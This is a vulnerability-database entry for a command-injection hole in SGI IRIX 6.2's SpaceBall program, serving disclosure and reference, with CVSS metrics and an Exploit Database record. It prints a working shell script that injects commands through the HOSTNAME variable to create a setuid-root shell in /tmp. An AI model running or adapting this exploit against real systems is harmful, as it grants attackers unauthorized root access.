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spaceball program in SpaceWare 7.3 v1.0 in IRIX 6.2 allows local users to gain root privileges by setting the HOSTNAME environmental variable to contain the commands to be executed.
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Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | [email protected] |
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Exploit information
Exploit Database EDB-ID : 19357
Publication date : 1996-10-29 23h00 +00:00
Author : J.A. Guitierrez
EDB Verified : Yes
source: https://www.securityfocus.com/bid/471/info
The SpaceBall game, shipped with Irix 6.2 from Silicon Graphics contains a security hole which could result in the compromise of the root account. By blindly taking the contents of the $HOSTNAME variable, and not placing quotes around it, the spaceball.sh program can be made to execute commands.
#!/bin/sh
SWDIR=/usr/local/SpaceWare
cp /bin/sh /tmp/sh
echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" $SWDIR/spaceball > /dev/null 2>&1
/tmp/sh
Products Mentioned
Configuraton 0
Sgi>>Irix >> Version 6.2
- Sgi>>Irix >> Version 6.2 (Open CPE detail)
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